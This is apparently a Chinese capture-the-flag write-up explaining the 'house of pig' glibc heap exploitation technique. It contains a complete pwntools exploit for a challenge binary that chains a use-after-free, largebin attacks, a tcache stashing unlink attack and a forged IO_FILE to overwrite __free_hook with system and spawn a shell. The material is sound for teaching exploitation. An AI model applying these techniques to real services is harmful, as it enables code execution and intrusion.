# IO_FILE 相关
目的:此时我们在 tcache 中布置好了 free_hook
相关的 chunk,但如果题目不能利用 malloc 申请,只能利用 calloc 申请,那么我们是无法申请到 tcache 上的 chunk 的。
现在来看看 IO_str_overflow
:
_IO_str_overflow (FILE *fp, int c) | |
{ | |
int flush_only = c == EOF; | |
size_t pos; | |
if (fp->_flags & _IO_NO_WRITES) | |
return flush_only ? 0 : EOF; | |
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) | |
{ | |
fp->_flags |= _IO_CURRENTLY_PUTTING; | |
fp->_IO_write_ptr = fp->_IO_read_ptr; | |
fp->_IO_read_ptr = fp->_IO_read_end; | |
} | |
pos = fp->_IO_write_ptr - fp->_IO_write_base; | |
if (pos >= (size_t) (_IO_blen (fp) + flush_only)) | |
{ | |
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ | |
return EOF; | |
else | |
{ | |
char *new_buf; | |
char *old_buf = fp->_IO_buf_base; | |
size_t old_blen = _IO_blen (fp); | |
size_t new_size = 2 * old_blen + 100; | |
if (new_size < old_blen) | |
return EOF; | |
new_buf = malloc (new_size); | |
if (new_buf == NULL) | |
{ | |
/* __ferror(fp) = 1; */ | |
return EOF; | |
} | |
if (old_buf) | |
{ | |
memcpy (new_buf, old_buf, old_blen); | |
free (old_buf); | |
/* Make sure _IO_setb won't try to delete _IO_buf_base. */ | |
fp->_IO_buf_base = NULL; | |
} | |
memset (new_buf + old_blen, '\0', new_size - old_blen); | |
_IO_setb (fp, new_buf, new_buf + new_size, 1); | |
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); | |
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); | |
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); | |
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); | |
fp->_IO_write_base = new_buf; | |
fp->_IO_write_end = fp->_IO_buf_end; | |
} | |
} | |
if (!flush_only) | |
*fp->_IO_write_ptr++ = (unsigned char) c; | |
if (fp->_IO_write_ptr > fp->_IO_read_end) | |
fp->_IO_read_end = fp->_IO_write_ptr; | |
return c; | |
} |
上面有 malloc
、 memcpy
和 free
,所以考虑绕过里面的一些条件从而调用 malloc
,先看一下调用的部分
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) | |
size_t old_blen = _IO_blen (fp); | |
size_t new_size = 2 * old_blen + 100; | |
... | |
new_buf = malloc (new_size); | |
... | |
memcpy (new_buf, old_buf, old_blen); | |
free (old_buf); |
利用需要达到的条件
fp->_flags=0 | |
fp->_IO_write_ptr - fp->_IO_write_base>=_IO_blen (fp) | |
// 可以令 fp->_IO_write_ptr=0xffffffffffff fp->_IO_write_base=1 |
我们控制 _IO_buf_end
和 _IO_buf_base
就可以了
# house of pig
# 题目分析
各个结构体的分析可以参考这个博客
show 分析
edit 分析
delete 分析
角色转换分析
- 保存角色
- 恢复角色
先给出官方的 wp,我追加了点注释
from pwn import * | |
context.log_level = 'debug' | |
context.terminal = ['tmux','splitw','-h'] | |
io = process('./pig') | |
# io = remote('182.92.203.154', 35264) | |
elf = ELF('./pig') | |
#libc = elf.libc | |
libc=ELF('./libc-2.31.so') | |
rl = lambda a=False : io.recvline(a) | |
ru = lambda a,b=True : io.recvuntil(a,b) | |
rn = lambda x : io.recvn(x) | |
sn = lambda x : io.send(x) | |
sl = lambda x : io.sendline(x) | |
sa = lambda a,b : io.sendafter(a,b) | |
sla = lambda a,b : io.sendlineafter(a,b) | |
irt = lambda : io.interactive() | |
dbg = lambda text=None : gdb.attach(io, text) | |
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr)) | |
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s))) | |
uu32 = lambda data : u32(data.ljust(4, b'\x00')) | |
uu64 = lambda data : u64(data.ljust(8, b'\x00')) | |
#text =''' | |
#''' | |
def Find(): | |
for x in xrange(1, 0xff+1): | |
for y in xrange(1, 0xff+1): | |
for z in xrange(1, 0xff+1): | |
for m in xrange(1, 0xff+1): | |
string1 = 'A' + chr(x) + chr(y) + chr(z) + chr(m) | |
out1 = hashlib.md5(string1).hexdigest() | |
# if out1[4:6] == '00': | |
# print out1 | |
if out1.startswith('3c4400'): | |
print('[' + string1.encode('hex') + ']') | |
print(out1) | |
def Menu(cmd): | |
sla('Choice: ', str(cmd)) | |
def Add(size, content): | |
Menu(1) | |
sla('size: ', str(size)) | |
sla('message: ', content) | |
def Show(idx): | |
Menu(2) | |
sla('index: ', str(idx)) | |
def Edit(idx, content): | |
Menu(3) | |
sla('index: ', str(idx)) | |
sa('message: ', content) | |
def Del(idx): | |
Menu(4) | |
sla('index: ', str(idx)) | |
def Change(user): | |
Menu(5) | |
if user == 1: | |
sla('user:\n', 'A\x01\x95\xc9\x1c') | |
elif user == 2: | |
sla('user:\n', 'B\x01\x87\xc3\x19') | |
elif user == 3: | |
sla('user:\n', 'C\x01\xf7\x3c\x32') | |
# Find() | |
# A: 'A\x01\x95\xc9\x1c' | |
# B: 'B\x01\x87\xc3\x19' | |
# C: 'C\x01\xf7\x3c\x32' | |
# change 两次可以造成 UAF 的漏洞 | |
def debug(): | |
gdb.attach(io) | |
pause() | |
#----- prepare tcache_stashing_unlink_attack | |
Change(2) | |
for x in range(5): | |
Add(0x90, 'B'*0x28) # B0~B4 | |
Del(x) # B0~B4,在 tcache:0xa0 的地方填充 5 个 chunk | |
Change(1) | |
Add(0x150, 'A'*0x68) # A0 | |
for x in range(7): | |
Add(0x150, 'A'*0x68) # A1~A7 | |
Del(1+x) #在 tcache:0x160 的地方填充 7 个 chunk | |
Del(0) #A0 会被释放到 unsorted bin | |
#debug() | |
Change(2) # | |
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0 分割在 unsorted bin 中的 A0 为 0xa0 (后面 A0 进 small bin 中,为 tcache_stashing_unlink_attack 作准备) | |
Change(1) #会修改 flag 标志为 0,可以绕过检查,造成 UAF 漏洞 | |
Add(0x180, 'A'*0x78) # A8 会让 unsorted bin 中 0xa0 大小的 chunk 进入 small bins 中 | |
for x in range(7): | |
Add(0x180, 'A'*0x78) # A9~A15 | |
Del(9+x) #填满 tcache:0x190 | |
Del(8) #A8 进入 unsorted bin | |
Change(2) | |
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0 再次划分 A8,因为 small bin 中至少要两个才可以触发 tcache_stashing_unlink_attack | |
#----- leak libc_base and heap_base | |
#debug() | |
Change(1) | |
Add(0x430, 'A'*0x158) # A16,此时 A8+0xf0 (0xa0) 从 unsorted bin 进入 small bin | |
Change(2) | |
Add(0xf0, 'B'*0x48) # B7 | |
Change(1) | |
Del(16) #A16 进入 unsorted bin | |
Change(2) | |
Add(0x440, 'B'*0x158) # B8 ,导致 A16 从 unsorted bin 进入 large bin | |
''' | |
tcahce | |
0xa0: B4->B3->B2->B1->B0 | |
0x160: A7->A6->A5->A4->A3->A2->A1 | |
0x190: A15->A14->A13->A12->A11->A10->A9 | |
small bin: | |
0xa0: (A8+0xf0)->A0 | |
large bin: | |
0x440-0x470: A16(0x440) | |
A16: | |
fd=bk=main_arena+xxxx | |
fd_nextsize=bk_nextsize=addr(A16) | |
''' | |
Change(1) | |
Show(16) | |
ru('message is: ') | |
libc_base = uu64(rl()) - 0x1ebfe0 | |
lg('libc_base') | |
Edit(16, b'A'*0xf+b'\n') | |
Show(16) | |
ru('message is: '+'A'*0xf+'\n') #为了方便泄露,把 libc 的地址覆盖为 A | |
heap_base = uu64(rl()) - 0x13940 | |
lg('heap_base') | |
#----- first largebin_attack | |
Edit(16, 2*p64(libc_base+0x1ebfe0) + b'\n') # recover | |
Add(0x430, 'A'*0x158) # A17=A16 | |
Add(0x430, 'A'*0x158) # A18 | |
Add(0x430, 'A'*0x158) # A19 | |
Change(2) | |
Del(8) #B8 (0x450) 进入 unsorted bin | |
Add(0x450, 'B'*0x168) # B9,会导致 B8 进入 largen bin | |
Change(1) | |
Del(17) # A17 进入 unsorted bin | |
Change(2) | |
free_hook = libc_base + libc.sym['__free_hook'] | |
Edit(8, p64(0) + p64(free_hook-0x28) + b'\n') #利用 UAF,角色 2 修改 B8 的 bk_nextsize 为 free_hook-0x28 | |
Change(3) | |
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8 | |
''' | |
large bin: | |
0x440-0x470: B8 | |
free_hook-0x28: | |
fd=bk=0 | |
fd_nextsize=B8 | |
addr(bk_nextsize=0)=free_hook | |
''' | |
Change(2) | |
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover 恢复 B8 的 fd_nextsize=bk_nextsize=addr (B8) | |
#----- second largebin_attack | |
Change(3) | |
Add(0x380, 'C'*0x118) # C1=A17+0xb0 | |
Change(1) | |
Del(19) # A19 进入 unsorted bin | |
Change(2) | |
IO_list_all = libc_base + libc.sym['_IO_list_all'] | |
Edit(8, p64(0) + p64(IO_list_all-0x20) + b'\n') | |
Change(3) | |
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all | |
''' | |
IO_list_all-0x20: | |
fd=0 | |
bk=0 | |
IO_list_all:fd_nextsize=B8 | |
bk_nextsize=0 | |
''' | |
Change(2) | |
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover | |
#----- tcache_stashing_unlink_attack and FILE attack | |
Change(1) | |
payload = b'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20) | |
#A0=heap+0x12280 | |
# A0=heap_base+0x12280 | |
Edit(8, payload + b'\n') | |
''' | |
smallbin 0xa0:(A8+0xf0)->A0 | |
修改后 | |
由于修改的是A8: | |
A8: | |
'A'*0x10 | |
... | |
... | |
'A'*0x10 | |
... | |
... | |
'A'*0x10 | |
... | |
... | |
'A'*0x10 | |
... | |
... | |
'A'*0x10 | |
... | |
A8+0xf0 | |
A0 free_hook-0x20 | |
''' | |
# =>small bin: | |
# bk: (A8+0xf0)->A0->free_hook-0x20->xx | |
Change(3) | |
payload = b'\x00'*0x18 + p64(heap_base+0x147c0) | |
payload = payload.ljust(0x158, b'\x00') | |
Add(0x440, payload) # C3 change fake FILE _chain,申请出 B8 | |
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache | |
''' | |
(A8+0xf0)被申请到了C4 | |
tcache: | |
0xa0: (free_hook-0x10)->A0->B4->B3->B2->B1->B0 | |
''' | |
IO_str_vtable = libc_base + 0x1ED560 | |
#_IO_jump_t exit 触发_IO_file_overflow,而_IO_file_overflow 根据 IO 的虚表选择对应的函数,要劫持虚表为_IO_str_jumps,调用_IO_str_overflow | |
#_IO_str_overflow 会调用 malloc、memcpy、free | |
#由于题目只能 calloc,而我们的 free_hook-0x10 再 tcache 上,需要用 malloc 申请出来 | |
#利用 memcpy 将 system 函数写到 free_hook 上 | |
#最后利用 free 释放掉一个 /bin/sh\x00 | |
''' | |
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) | |
size_t old_blen = _IO_blen (fp); | |
size_t new_size = 2 * old_blen + 100; | |
char *old_buf = fp->_IO_buf_base; | |
... | |
new_buf = malloc (new_size); 0xa0=2*old_blen+100=>old_blen=30=1e | |
... | |
memcpy (new_buf, old_buf, old_blen); 更改free_hook为system | |
free_hook, | |
free (old_buf); | |
''' | |
''' | |
old_buff :/bin/sh\x00 p64(system_addr) | |
old_buf+0x10:p64(system_addr) | |
free_hook-0x20(new_buf): | |
free_hook-0x10:/bin/sh\x00 p64(system_addr) | |
free_hook:p64(system_addr) | |
free (old_buf) = free(free_hook-0x10) =system(/bin/sh) | |
''' | |
system_addr = libc_base + libc.sym['system'] | |
fake_IO_FILE = 2*p64(0) | |
fake_IO_FILE += p64(1) #change _IO_write_base = 1 | |
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff | |
fake_IO_FILE += p64(0) | |
fake_IO_FILE += p64(heap_base+0x148a0) #v4=> addr(/bin/sh) | |
fake_IO_FILE += p64(heap_base+0x148b8) #v5 | |
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00') | |
fake_IO_FILE += p64(0) #change _mode = 0 | |
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00') | |
fake_IO_FILE += p64(IO_str_vtable) #change vtable | |
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr) #大小是 0xE8 | |
''' | |
Gift: | |
... | |
... | |
... | |
... | |
... | |
/bin/sh\x00 <-heap_base+0x148a0=old_buff=_IO_buf_base | |
p64(system_addr) | |
p64(system_addr) | |
''' | |
sa('Gift:', payload) | |
# dbg(text) | |
# pause() | |
Menu(5) | |
sla('user:\n', '') #触发 exit (-1) | |
irt() |
下面分 part 调试
# part1
首先为 tcache_stashing_unlink_attack 攻击作准备,将 5 个 chunk 放入 tcache 中,并且放入两个同大小的 chunk 到 smallbin 中,
#----- prepare tcache_stashing_unlink_attack | |
Change(2) | |
for x in range(5): | |
Add(0x90, 'B'*0x28) # B0~B4 | |
Del(x) # B0~B4,在 tcache:0xa0 的地方填充 5 个 chunk | |
Change(1) | |
Add(0x150, 'A'*0x68) # A0 | |
for x in range(7): | |
Add(0x150, 'A'*0x68) # A1~A7 | |
Del(1+x) #在 tcache:0x160 的地方填充 7 个 chunk | |
Del(0) #A0 会被释放到 unsorted bin | |
#debug() | |
Change(2) # | |
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0 分割在 unsorted bin 中的 A0 为 0xa0 (后面 A0 进 small bin 中,为 tcache_stashing_unlink_attack 作准备) | |
Change(1) #会修改 flag 标志为 0,可以绕过检查,造成 UAF 漏洞 | |
Add(0x180, 'A'*0x78) # A8 会让 unsorted bin 中 0xa0 大小的 chunk 进入 small bins 中 | |
for x in range(7): | |
Add(0x180, 'A'*0x78) # A9~A15 | |
Del(9+x) #填满 tcache:0x190 | |
Del(8) #A8 进入 unsorted bin | |
Change(2) | |
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0 再次划分 A8,因为 small bin 中至少要两个才可以触发 | |
Change(1) | |
Add(0x430, 'A'*0x158) # A16,此时 A8+0xf0 (0xa0) 从 unsorted bin 进入 small bin |
# part2 leak libc_base and heap_base
泄露 libc 和 heap 的基地址
Change(2) | |
Add(0xf0, 'B'*0x48) # B7 | |
Change(1) | |
Del(16) #A16 进入 unsorted bin | |
Change(2) | |
Add(0x440, 'B'*0x158) # B8 ,导致 A16 从 unsorted bin 进入 large bin | |
Change(1) | |
Show(16) | |
ru('message is: ') | |
libc_base = uu64(rl()) - 0x1ebfe0 | |
lg('libc_base') | |
Edit(16, b'A'*0xf+b'\n') | |
Show(16) | |
ru('message is: '+'A'*0xf+'\n') #为了方便泄露,把 libc 的地址覆盖为 A | |
heap_base = uu64(rl()) - 0x13940 | |
lg('heap_base') | |
Edit(16, 2*p64(libc_base+0x1ebfe0) + b'\n') # recover |
创建一个可以放入 largebin 中的 chunk (A16),然后利用 UAF 泄露地址,可以本地先算偏移
# part3 first largebin_attack
往 __free_hook
相关的地址上写入堆上的地址
Add(0x430, 'A'*0x158) # A17=A16 | |
Add(0x430, 'A'*0x158) # A18 | |
Add(0x430, 'A'*0x158) # A19 | |
Change(2) | |
Del(8) #B8 (0x450) 进入 unsorted bin | |
Add(0x450, 'B'*0x168) # B9,会导致 B8 进入 largen bin | |
Change(1) | |
Del(17) # A17 进入 unsorted bin | |
Change(2) | |
free_hook = libc_base + libc.sym['__free_hook'] | |
Edit(8, p64(0) + p64(free_hook-0x28) + b'\n') #利用 UAF,角色 2 修改 B8 的 bk_nextsize 为 free_hook-0x28 |
接着触发 largebin_attack,注意这里虽然申请的是 0xa0
大小的,并且 unsortedbin 中只有比这个大小大的 chunk (A17),但 unsortedbin 的分配机制是:会先把 A17 放入 largenbin,再分割申请所需的大小出去,剩下的再插回 unsortedbin。所以仍然会触发 largebin_attack
Change(3) | |
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8 | |
Change(2) | |
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover 恢复 B8 的 fd_nextsize=bk_nextsize=addr (B8) |
此时 __free_hook-0x8
的地方就写上了堆上的地址 (B8)
# part4 second largebin_attack
往 _IO_list_all
相关的地址写入堆上的地址,方便我们触发伪造的 IO 链
Change(3) | |
Add(0x380, 'C'*0x118) # C1=A17+0xb0 | |
Change(1) | |
Del(19) # A19 进入 unsorted bin | |
Change(2) | |
IO_list_all = libc_base + libc.sym['_IO_list_all'] | |
Edit(8, p64(0) + p64(IO_list_all-0x20) + b'\n') |
跟第一次 largebin attach 差不多
可以看到 B8 的 bk_nextsize
被更改了
接下来触发攻击后
Change(3) | |
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all | |
Change(2) | |
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover |
可以看到 _IO_list_all->B8
# part5 tcache_stashing_unlink_attack
Change(1) | |
payload = b'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20) | |
# A0=heap_base+0x12280 | |
Edit(8, payload + b'\n') | |
此时smallbin中的布局,`free_hook-0x20`被成功写入到smallbin中 |
Change(3) | |
payload = b'\x00'*0x18 + p64(heap_base+0x147c0) | |
payload = payload.ljust(0x158, b'\x00') | |
Add(0x440, payload) # C3 change fake FILE _chain,申请出 B8 |
先在 unsortedbin 中找,大小不合适,把 A19+0xb0 加入 smallbin 中,然后把 B8 拿来使用,即 C3=B8,同时在 B8 处伪 IO_FILE 的 _chain
字段为 A19+0xb0
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache |
此时 __free_hook-0x10
进入了 tcache
中,注意由于这里是用角色 3 申请的, 0x90
大小的会把 smallbin 中的 A0+0xa0
拿来使用,而后面的 Gift 申请的 0xE8
大小的则是从 A19+0xb0
拿出 0xf0
取分配。而后面就是把伪造的 IO_FILE 的内容写到 ``A19+0xb0` 上了
# part6 IO_FILE attach
现在就是要从 tcache 中拿出 __free_hook-0x10
,但没有 malloc
。
但程序中有地方调用 exit,而 exit 触发_IO_file_overflow,而_IO_file_overflow 根据 IO 的虚表选择对应的函数,如果劫持虚表为_IO_str_jumps,就会调用_IO_str_overflow,构造 IO_FILE,就可以通过_IO_str_overflow 调用 malloc、memcpy、free
利用思路就是
- malloc 申请
__free_hook-0x20
出来 - 利用 memcpy 将 system 函数的地址写到
__free_hook
上 - 最后利用 free 释放掉一个写有
/bin/sh\x00
的地址即可
IO_str_vtable = libc_base + 0x1ED560 |
system_addr = libc_base + libc.sym['system'] | |
fake_IO_FILE = 2*p64(0) | |
fake_IO_FILE += p64(1) #change _IO_write_base = 1 | |
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff | |
fake_IO_FILE += p64(0) | |
fake_IO_FILE += p64(heap_base+0x148a0) #v4=> addr(/bin/sh) | |
fake_IO_FILE += p64(heap_base+0x148b8) #v5 | |
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00') | |
fake_IO_FILE += p64(0) #change _mode = 0 | |
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00') | |
fake_IO_FILE += p64(IO_str_vtable) #change vtable | |
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr) #大小是 0xE8 | |
sa('Gift:', payload) # C5 | |
Menu(5) | |
sla('user:\n', '') #触发 exit (-1) |
而 _IO_buf_end
和 _IO_buf_base
的计算,再看看利用链
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) | |
size_t old_blen = _IO_blen (fp); | |
size_t new_size = 2 * old_blen + 100; | |
... | |
new_buf = malloc (new_size); | |
... | |
memcpy (new_buf, old_buf, old_blen); | |
free (old_buf); |
希望 new_size=0xa0
,推出 old_blen=0x1e
而我们申请出来的是 __free_hook-0x20
,期望
__free_hook-0x20:
__free_hook-0x10:
__free_hook :system_addr
由于我们的 fake_IO_FILE 后面跟着 b'/bin/sh\x00' + 2*p64(system_addr)
,那么把从 /bin/sh\x00
开始的地址写入 0x18
到 __free_hook-0x20
即可满足要求
__free_hook-0x20:
__free_hook-0x10:/bin/sh\x00 system_addr
__free_hook :system_addr
和我们的预期一样,这里调试,可以在 _IO_str_overflow
下断点,运行到这里后再在 free
下断点
那么 old_blen=0x18
, old=buf=C5+0xE8-0x18=C5+d0
,根据偏移得到地址
这里虽然 old_len=0x18<0x1e
,但堆的申请都是向上取,所以可以申请到
最后 free(old_buf)
,而 old_buf
也恰好保存了 /bin/sh
,即可 getshell